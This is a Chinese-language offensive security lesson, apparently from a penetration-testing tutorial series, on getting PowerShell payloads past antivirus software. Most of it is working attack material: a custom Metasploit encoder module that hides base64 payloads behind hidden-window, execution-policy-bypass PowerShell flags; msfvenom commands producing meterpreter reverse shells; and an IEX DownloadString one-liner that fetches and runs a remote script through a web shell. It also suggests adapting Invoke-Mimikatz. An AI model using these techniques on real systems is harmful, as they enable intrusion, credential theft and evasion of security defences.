第四十九课：关于Powershell对抗安全软件
专注APT攻击与防御
https://micropoor.blogspot.com/
知识点介绍:
Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。
Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。
Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。
而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。
在https://technet.microsoft.com,看到文档如下:
Here is a listing of the available startup parameters:
-Command Specifies the command text to execute as though it were typed at the
PowerShell command prompt.
-EncodedCommand Specifies the base64-encoded command text to execute.
-ExecutionPolicy Sets the default execution policy for the console session.
-File Sets the name of a script fi le to execute.
-InputFormat Sets the format for data sent to PowerShell as either text string or
serialized XML. The default format is XML. Valid values are text and XML.
-NoExit Does not exit after running startup commands. This parameter is useful when
you run PowerShell commands or scripts via the command prompt (cmd.exe).
-NoLogo Starts the PowerShell console without displaying the copyright banner.
-Noninteractive Starts the PowerShell console in non-interactive mode. In this mode,
PowerShell does not present an interactive prompt to the user.
-NoProfile Tells the PowerShell console not to load the current user’s profile.
-OutputFormat Sets the format for output as either text string or serialized XML. The
default format is text. Valid values are text and XML.
-PSConsoleFile Loads the specified Windows PowerShell console file. Console files end
with the .psc1 extension and can be used to ensure that specific snap-in extensions
are loaded and available. You can create a console file using Export-Console in
Windows PowerShell.
-Sta Starts PowerShell in single-threaded mode.
-Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0.
-WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The
default is Normal.
针对它的特性,本地测试:
Add-Type -AssemblyName PresentationFramework;
[System.Windows.MessageBox]::Show('Micropoor')
上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为
例,生成payload。
micropoor.ps1不幸被杀。
针对powershell特性,更改payload
接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式:
(1)目标机出网
(2)目标机不出网
并且根据需求,无缝连接Metasploit。
根据微软文档,可以找到可能对以上有帮助的属性,分别为:
WindowStyle
NoExit
EncodedCommand
exec
自动化实现如下:
# copy base64.rb to metasploit-
framework/embedded/framework/modules/encoders/powershell.If powershell is
empty,mkdir powershell.
# E.g
# msf encoder(powershell/base64) > use exploit/multi/handler
# msf exploit(multi/handler) > set payload
windows/x64/meterpreter/reverse_tcp
# payload => windows/x64/meterpreter/reverse_tcp
# msf exploit(multi/handler) > exploit
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx
LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e
powershell/base64 --arch x64 --platform windows.
# [*] Started reverse TCP handler on xx.1xx.xx.xx:xx
class MetasploitModule < Msf::Encoder
Rank = NormalRanking
def initialize
super(
'Name' => 'Powershell Base64 Encoder',
'Description' => %q{
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx
LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e
powershell/base64 --arch x64 --platform windows.
},
'Author' => 'Micropoor',
'Arch' => ARCH_CMD,
'Platform' => 'win')
register_options([
OptBool.new('payload', [ false, 'Use payload ', false ]),
OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])
])
end
def encode_block(state, buf)
base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
cmd = ''
if datastore['x64']
cmd += 'c:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe '
else
cmd += 'powershell.exe '
end
if datastore['payload']
cmd += '-windowstyle hidden -exec bypass -NoExit '
end
cmd += "-EncodedCommand #{base64}"
end
end
# if use caidao
# execute echo powershell -windowstyle hidden -exec bypass -c ""IEX (New-Object
Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');"" |msfvenom -e
x64/xor4 --arch x64 --platform windows
# xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx
LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e
powershell/base64 --arch x64 --platform windows.
1 copy powershell_base64.rb to metasploit‐framework/embedded/framework/m
odules/encoders/powershell.If powershell is empty,mkdir powershell.
参数 payload 选择是否使用Metasploit payload,来去掉powershell的关键字。
例1(目标出网,下载执行):
1 echo powershell ‐windowstyle hidden ‐exec bypass ‐c ""IEX (New‐Object
Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');""
|msfvenom ‐e powershell/base64 ‐‐arch x64 ‐‐platform windows
例2(目标不出网,本地执行)
注:加payload参数
1 msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LP
ORT=8080 ‐f psh‐reflection ‐‐arch x64 ‐‐platform windows | msfvenom ‐e po
wershell/base64 ‐‐arch x64 ‐‐platform windows payload
更多有趣的实验:
把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。
更改Invoke-Mimikatz.ps1等。
Micropoor
⋮
